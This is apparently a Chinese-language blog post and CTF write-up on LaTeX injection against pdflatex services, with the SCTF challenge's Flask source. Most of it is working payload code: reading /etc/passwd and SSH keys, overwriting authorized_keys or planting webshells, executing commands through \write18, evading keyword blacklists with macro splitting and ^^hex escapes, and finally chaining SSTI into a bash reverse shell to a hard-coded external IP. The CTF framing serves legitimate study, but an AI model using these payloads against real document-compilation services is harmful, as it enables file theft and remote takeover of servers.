LaTeX前言
LaTeX的文件后缀是.tex,通常需要编译运行,并且可以像编程语言一样执行命令,读写文件等,这也是安全隐患LaTex Injection的原因,官方提供了配置项(shell_escape、shell_escape_commands)去配置能否执行命令以及允许执行的命令列表
其中shell_escape有三种配置值,分别为:
f:不允许执行任何命令
t:允许执行任何命令
p:支持执行白名单内的命令(默认)
LaTeX常见的应用场景主要有扫描数学公式、LateX转pdf、LateX转图片等,LaTex常用于编写文档、页面排版, 使用latex语法编写然后经过编译最后形成文档,如果传入的LaTeX可控且没有过滤的话就会导致LaTex Injection的产生。
tex的格式大致如下:
\documentclass{article}
\begin{document}
% Your content here
\end{document}
PdfLaTeX的三种操作模式
TexMaker是一个在线转换LaTex代码为pdf的网站, 在客户端输入LaTex代码, 服务器端接收LaTex代码后使用pdflatex
将LaTex编译为pdf
- no-shell-escape
进行\write18{command}
执行, 即使函数已经在texmf.cnf文件中启用 - shell-restricted
与shell-escape类似, 但是只能执行安全的预定义命令集 - shell-escape
允许\wite18{command}
执行
## LaTeX命令执行
读文件
Pdflatex的三种模式都允许从文件系统中读取任意文件, 读取文件最简单的方法是使用\input
\input\{/etc/passwd}
上述命令将读取/etc/passwd
文件并写入到生成的PDF文件中
如果读取的文件以.tex
结尾, 可以用\include
读取
\include{password}
上述命令将从当前工作目录包含password.tex
并将文件内容写入到生成的PDF文件中
如果上述的两个命令都无法使用, 可以用下面的解决方案:
方案一: 读取指定文件的首行
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
上述代码段创建一个\file
处理对象并打开/etc/passwd
文件, 读取一行到变量\line
中, 将变量\line
作为文本(\text
)输出, 关闭文件处理对象
如果想读取全部内容, 可使用下面的代码段
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
上述代码创建一个\file
文件对象, 打开/etc/passwd
并读取, 然后用\loop
进行循环, 循环内读取一行到\fileline
变量中, 将变量作为文本输出, 等遇到EOF
或文件读取完毕关闭文件对象.
读文件功能可以用来读取SSH key、配置文件(找新目标和硬编码等信息)等等
读取文本文件,不解释内容,只会粘贴原始文件内容:
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
写文件
写文件功能运行在shell-restricted
和shell-escape
两种模式下, 命令如下
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{hello-world}
\closeout\outfile
上述命令将在cmd.tex
文件中写入hello-world
字符串.
写文件功能可用来清空文件内容、覆盖其他文件(~/.ssh/authorized_keys
、各种配置、一句话木马等)
执行命令
执行命令依赖于write18
命令, 因此只能在-shell-escape
模式下运行.
命令为
\immediate\write18{env}
上述命令将运行env
获取环境变量
write18命令执行结果将被重定向到标准输出, 输出内容将在epstopdf-sys.cfg
这行的下面、pdftex.map
这行的上面, 所以可以根据这两个关键字判断是否执行成功.
如果服务器端不返回编译日志的话, 我们无法直接通过上述命令来利用, 这是需要通过重定向将数据写入文件中, 然后将文件读取出来.
\immediate\write18{env > env.tex}
\input{env.tex}
如果读取的文件中含有LaTex的保留字符, 如$
等, 可以使用base64编码之后在写入文件
\immediate\write18{env|base64>text.tex}
\input(text.tex)
绕过黑名单
如果input
和include
命令都不可用, 该如何读取文件?
可以创建文件对象读取文件:
\newread\file
\openin\file=env.tex
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
如果(inpute|include|write18|immediate)
都不可用, 该如何执行命令和读取文件呢?
\def \imm {\string\imme}
\def \diate {diate}
\def \eighteen {string18}
\def \wwrite {\string\write\eighteen}
\def \args {\string{ls |base64> test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{text.tex\string}}
% first run
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
% second run
\newread\file
openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
上述代码, 第一次运行将创建cmd.tex
文件并把上面那串代码
的写入文件中, 第二次运行将读取cmd.tex
然后执行其中的命令.
\fileline
将执行cmd.tex
文件中的命令
如果是PdfTeX,还有另一种执行命令的姿势;
> \input|"ls"
>
> \input|ls
>
> \input|ls|base64
>
> \makeatletter
>
> \@@input|"ls"
>
> \makeatother
SCTF LaTeX
测了一下,tex的内容ban了下面这些东西
\write18
\immediate
\input
app
/
\include
..
然后编译允许的编译文件名长度最长为6
读文件
\newread\file
\openin\file=\\etc\\passwd
\read\file to\line
\text{\line}
\closein\file
写文件,但是不确定在哪里可以触发
\newwrite\outfile
\openout\outfile=testfile
\write\outfile{safe6}
\closeout\outfile
bypass的方式,类似php免杀了:
\def \imm {\string\imme}
\def \diate {diate}
\def \wwrite {wwrite}
\def \args {args}
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
用这个可以绕所有的黑名单:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LaTeX%20Injection/README.md
看了下应该是^^ascii
的意思
读取main.py payload:
\documentclass{article}
\begin{document}
\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}
编译后访问 /log 带出回显
import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename
app = Flask(__name__)
if not app.debug:
handler = logging.FileHandler('app.log')
handler.setLevel(logging.INFO)
app.logger.addHandler(handler)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def compile_tex(file_path):
output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
try:
subprocess.check_call(['pdflatex', file_path])
return output_filename
except subprocess.CalledProcessError as e:
return str(e)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
content = file.read()
try:
content_str = content.decode('utf-8')
except UnicodeDecodeError:
return 'File content is not decodable'
for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']:
if bad_char in content_str:
return 'File content is not safe'
file.seek(0)
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
return 'File uploaded successfully, And you can compile the tex file'
else:
return 'Invalid file type or name'
@app.route('/compile', methods=['GET'])
def compile():
filename = request.args.get('filename')
if not filename:
return 'No filename provided', 400
if len(filename) >= 7:
return 'Invalid file name length', 400
if not filename.endswith('.tex'):
return 'Invalid file type', 400
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
print(file_path)
if not os.path.isfile(file_path):
return 'File not found', 404
output_pdf = compile_tex(file_path)
if output_pdf.endswith('.pdf'):
return "Compilation succeeded"
else:
return 'Compilation failed', 500
@app.route('/log')
def log():
try:
with open('app.log', 'r') as log_file:
log_contents = log_file.read()
return render_template('log.html', log_contents=log_contents)
except FileNotFoundError:
return 'Log file not found', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, debug=False)
发现可以对 log_contents 进行ssti
重开一个靶机弹shell即可
\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f115.236.153.177^^2f30908 0>&1"').read()}}}
\closeout\t
\newpage
foo
\end{document}
没有评论